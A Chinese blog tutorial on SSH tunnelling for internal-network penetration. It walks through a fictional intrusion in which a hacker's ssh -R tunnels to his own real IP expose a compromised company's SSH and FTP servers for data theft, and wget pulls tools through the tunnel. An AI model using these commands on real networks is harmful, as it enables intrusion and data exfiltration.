当前位置: 首页 > news >正文

内网渗透中SSh的巧用ring04h

 在渗透测试过程中,经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。

由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空在加上。

SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。

 

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-C Enable compression.
压缩数据传输。

-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。注:这个参数我在实践中似乎始终不起作用)

如果想要了解更多关于SSH的细节,可以 man ssh ,或参照ssh的DOC.

实例:
——————————————————————————
当骇客A从互联网入侵了RISUN企业的一台服务器,机器名称为 GBOSS_WEB
GBOSS_WEB 信息:
外网IP:255.25.55.111
内网IP:10.168.0.10
网络架构方式为,路由将外网256.25.56.111的80端口映射到内网10.168.0.10的80端口上。

骇客A通过利用80端口开放服务的WEB脚本漏洞,成功继承到GBOSS_WEB的httpd权限,然后通过perl或者其它语言创建SOCKET 获得一个远程sh shell。由于back回来的shell可能不稳定,或者使用起来不方便,可以采用SSH建立一个隧道,将GBOSS_WEB服务器上的22端口映射至 骇客的本机上(本文章用于演示的骇客机为0x.cn);

通过得到的sh shell,执行 $python -c ‘import pty; pty.spawn(”/bin/sh”)’ 获得一个ttyshell(因为ssh想要tty的支持),然后通过如下命令,映射GBOSS_WEB服务器的22端口至202.65.208.142的 44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
这样登录0x.cn的ssh服务,ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口。

骇客A通过利用操作系统系统提升权限至ROOT,再继续渗透过程中,发现内网还存在另外一台名称为GBOSS_APP的服务器。
GBOSS_APP 信息:
内网IP:10.168.0.20

骇客通过嗅探获取了GBOSS_APP服务器的FTP信息,GBOSS_APP服务器FTP保存有RISUN企业的核心数据,由于数据量庞大,需要FTP续传功能,可通过SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

当骇客成功root掉内网中另一网段中的服务器BILL_APP时,需要从外网下载一些工具,由于内部访问控制策略,BILL_APP无法连接网, 此时可以通过映射外网服务器0x.cn的80端口至GBOSS_WEB的8888端口,然后通过GBOSS_WEB建立的隧道,下载所需工具。
在GBOSS_WEB服务器上执行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通过建立隧道后,在BILL_APP上执行 wget http://10.168.0.10:8888/thepl 等同于访http://202.65.208.142/thepl

本文详细的概述了如何建立隧道的过程,以及相关参数的使用方法,各位懂的高手可以直接飘过。
本文中骇客所使用的地址为真实IP,对应域名:http://0x.cn 欢迎无聊的骇客们破坏。(SSH有个隐藏的密码,很容易的…)

相关文章:

  • 内网嗅探自我保护用到的批处理
  • 配置BT5中文环境
  • 送给linux渗透爱好者的小技巧
  • MySQL注射攻击与防范详解
  • 渗透国内知名公司内部局域网经过
  • Android 手机 超级终端命令解析
  • Penetration Testing 渗透测试
  • snmpwalk命令常用方法总结
  • 详述入侵之渗透技术
  • CGI Hack与Webshell研究资料整理
  • 几种端口入侵方法
  • 交换机/路由器/防火墙支持的命令
  • 华为交换机、路由器命令集
  • Cisco路由器入侵
  • WEBSHELL权限重启服务器的方法
  • [PHP内核探索]PHP中的哈希表
  • 【React系列】如何构建React应用程序
  • css布局,左右固定中间自适应实现
  • Javascripit类型转换比较那点事儿,双等号(==)
  • Laravel 实践之路: 数据库迁移与数据填充
  • text-decoration与color属性
  • Vue2.0 实现互斥
  • 基于axios的vue插件,让http请求更简单
  • 利用阿里云 OSS 搭建私有 Docker 仓库
  • 普通函数和构造函数的区别
  • 深入浅出Node.js
  • 消息队列系列二(IOT中消息队列的应用)
  • 新版博客前端前瞻
  • postgresql行列转换函数
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • #if #elif #endif
  • #Linux(权限管理)
  • #常见电池型号介绍 常见电池尺寸是多少【详解】
  • $jQuery 重写Alert样式方法
  • (2)关于RabbitMq 的 Topic Exchange 主题交换机
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (JSP)EL——优化登录界面,获取对象,获取数据
  • (Mirage系列之二)VMware Horizon Mirage的经典用户用例及真实案例分析
  • (SpringBoot)第二章:Spring创建和使用
  • (二)hibernate配置管理
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (转)Google的Objective-C编码规范
  • (转)visual stdio 书签功能介绍
  • ./indexer: error while loading shared libraries: libmysqlclient.so.18: cannot open shared object fil
  • .NET 8 中引入新的 IHostedLifecycleService 接口 实现定时任务
  • .NET Core IdentityServer4实战-开篇介绍与规划
  • .NET Core日志内容详解,详解不同日志级别的区别和有关日志记录的实用工具和第三方库详解与示例
  • .net访问oracle数据库性能问题
  • /proc/stat文件详解(翻译)
  • [ C++ ] STL---stack与queue
  • [ CTF ] WriteUp-2022年春秋杯网络安全联赛-冬季赛
  • []我的函数库
  • [17]JAVAEE-HTTP协议
  • [android] 切换界面的通用处理
  • [AndroidStudio]_[初级]_[修改虚拟设备镜像文件的存放位置]